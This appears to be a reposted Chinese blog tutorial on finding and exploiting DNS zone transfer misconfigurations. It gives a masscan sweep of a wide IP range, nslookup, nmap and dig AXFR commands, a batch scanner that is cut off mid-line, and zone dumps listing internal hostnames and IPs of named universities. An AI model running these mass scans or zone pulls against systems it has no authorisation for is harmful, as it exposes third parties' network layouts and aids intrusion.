DNS域传送漏洞的收集、检测与利用

    xiaoxiao2021-12-14  18

    一. DNS域传送


    DNS :Domain Name System 一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53

    常见DNS记录类型:

    A IP地址记录,记录一个域名对应的IP地址 AAAA IPv6 地址记录,记录一个域名对应的IPv6地址 CNAME 别名记录,记录一个主机的别名 MX 电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com NS 域名服务器记录 ,记录该域名由哪台域名服务器解析 PTR 反向记录,也即从IP地址到域名的一条记录 TXT 记录域名的相关文本信息

    域传送 :DNS Zone Transfer

    DNS服务器分为:主服务器、备份服务器和缓存服务器。 域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。 在主备服务器之间同步数据库,需要使用“DNS域传送”。


    二. 收集


    ps: 收集dns服务器,推测出网段与解析的域,从而检测DNS是否存在域传送漏洞。学习研究用得到,手工比较麻烦,仅列出来当作一种方法。

    1. 利用网络空间搜索引擎收集域名服务器 shodan

    zoomeye

    fofa

    注: 还没研究过如何从以上搜索引擎中批量爬取或下载搜索结果。


    2. 利用MasScan收集dns服务器 MasScan

    安装: On Debian/Ubuntu:

    sudo apt-get install git gcc make libpcap-dev git clone https://github.com/robertdavidgraham/masscan cd masscan make

    On Centos:

    sudo yum install git gcc make libpcap-devel git clone https://github.com/robertdavidgraham/masscan cd masscan make

    扫描网段

    ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0

    获得开放53端口的潜在漏洞DNS服务器对象。

    ns.xml结果去重

    from lxml import etree port = None address = None parsedServers = [] #Opens the file used to store single enteries. outputFile = open('ns.txt', 'a') for event, element in etree.iterparse('ns.xml', tag="host"): for child in element: if child.tag == 'address': address = child.attrib['addr'] if child.tag == 'ports': for a in child: port = a.attrib['portid'] if port > 1 and address > 1: if address not in parsedServers: print address outputFile.write(address + '\n') parsedServers.append(address) port = None address = None element.clear() outputFile.close() print 'End'

    3. 目标针对 针对某个目标域名,查询目标所处域dns服务器是否有域传送漏洞,从而获得横向渗透的机会和更多的可能性。见下文:

    nslookup结合dig的科学利用


    4. 后人乘凉 前人已经栽好树了,我们只需要找到树,就可乘凉了。收集好的dns服务器与域名:传送门


    三. 检测与利用


    原理

    DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录。 通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录。

    危害

    网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程。

    检测与利用

    1. nslookup 基本过程

    1) 输入nslookup命令进入交互式shell; 2) server 命令参数设定查询将要使用的DNS服务器; 3) ls命令列出某个域中的所有域名; 4) exit命令退出

    失败例子 ps: 貌似现在域传送漏洞不太好找了

    > nslookup DNS request timed out. timeout was 2 seconds. 默认服务器: UnKnown Address: 114.114.114.114 > server ss2.bjfu.edu.cn 默认服务器: ss2.bjfu.edu.cn Address: 202.204.112.67 > ls bjfu.edu.cn [ss2.bjfu.edu.cn] *** 无法列出域 bjfu.edu.cn: Query refused DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确, 请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn 的 区域传送安全设置。

    成功例子 ps:部分结果已隐去

    > nslookup 默认服务器: public1.114dns.com Address: 114.114.114.114 > server ring.cugb.edu.cn 默认服务器: ring.cugb.edu.cn Address: 202.204.105.1 > ls cugb.edu.cn [ring.cugb.edu.cn] cugb.edu.cn. NS server = ring.cugb.edu.cn cugb.edu.cn. A 127.0.0.1 acm A 121.194.86.2 bbs A 202.204.105.172 bm A 202.204.105.179 bsbm A 202.204.105.17 bslt A 202.204.109.241 cas A 202.204.105.97 ce A 202.204.99.249 chushi A 202.204.105.243 cj A 202.204.96.111 cms A 202.204.105.179 computer A 202.204.96.202 csc A 202.204.97.60 cugblx A 202.204.105.173 . . . . yx A 202.204.105.179 zhsh A 202.204.105.198 zzb A 202.204.105.243 >

    非交互式方法 为了避免和nslookup交换,可以编写一个ls.bat

    echo ls %1 | nslookup – %2

    %1代表第一个参数,即xxx.edu.cn %2代表第二个参数,即dns.xxx.edu.cn echo是回声命令,原文输出传入的参数内容

    测试dns.xxx.edu.cn服务器,可以执行命令

    ls.bat xxx.edu.cn dns.xxx.edu.cn

    2. nmap

    nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn

    dns-zone-transfer.domain参数 指定要查询的域;dns.xxx.edu.cn 为指定的查询域名服务器 成功的话会如下所示,列出了指定域中所有的记录(如果端口屏蔽,就查不出了,不太实用)。

    > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn Starting Nmap 7.10 ( https://nmap.org ) at **** Nmap scan report for dns.hzmc.edu.cn (211.86.0.1) Host is up (0.38s latency). PORT STATE SERVICE 53/tcp open domain | dns-zone-transfer: | hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn. | hzmc.edu.cn. NS ns.hzmc.edu.cn. | hzmc.edu.cn. NS dns.hzmc.edu.cn. | hzmc.edu.cn. A 211.86.0.1 | hzmc.edu.cn. MX 10 ns.hzmc.edu.cn. | dns.hzmc.edu.cn. A 211.86.0.1 | ftp.hzmc.edu.cn. CNAME dns.hzmc.edu.cn. | www.jwc.hzmc.edu.cn. A 211.86.3.182 | www.lib.hzmc.edu.cn. A 211.86.3.38 | www.spdb.hzmc.edu.cn. A 211.86.0.3 | www.hzmc.edu.cn. A 211.86.0.4 | www.yzzp.hzmc.edu.cn. A 211.86.0.8 | www.zwc.hzmc.edu.cn. A 211.86.2.200 |_hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn. Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds

    3. dig windows免安装版dig下载地址: Windows绿色版dig工具

    使用命令:

    dig @dns.xxx.edu.cn axfr xxx.edu.cn

    @指定域名服务器;axfr 为域传送指令;xxx.edu.cn表示要查询的域名;

    成功测试 ps:部分结果已隐去

    > dig @ring.cugb.edu.cn axfr cugb.edu.cn ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn ; (1 server found) ;; global options: +cmd cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 cugb.edu.cn. 86400 IN TXT "v=spf1 ip4:202.204.105.6/24 ~all" cugb.edu.cn. 86400 IN NS ring.cugb.edu.cn. cugb.edu.cn. 86400 IN MX 5 mail.cugb.edu.cn. cugb.edu.cn. 86400 IN A 127.0.0.1 cugb.edu.cn. 86400 IN AAAA ::1 acm.cugb.edu.cn. 86400 IN A 121.194.86.2 bbs.cugb.edu.cn. 86400 IN A 202.204.105.172 bm.cugb.edu.cn. 86400 IN A 202.204.105.179 . . . . zhsh.cugb.edu.cn. 86400 IN A 202.204.105.198 zzb.cugb.edu.cn. 86400 IN A 202.204.105.243 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 ;; Query time: 46 msec ;; SERVER: 202.204.105.1#53(202.204.105.1) ;; WHEN: **** ;; XFR size: 114 records (messages 1, bytes 2562)

    dig的批处理利用 For Windows

    不想偷懒的学生不是好司机。 建立文件: .LandGrey-Dns-Zone-Transfer-Scan.bat(提供下载链接: LandGrey-Dns-Zone-Transfer-Scan.bat) 写入以下内容:

    @echo off Rem Build By LandGrey title Dns Zone Transfer Scan echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>>
    转载请注明原文地址: https://ju.6miu.com/read-969193.html

    最新回复(0)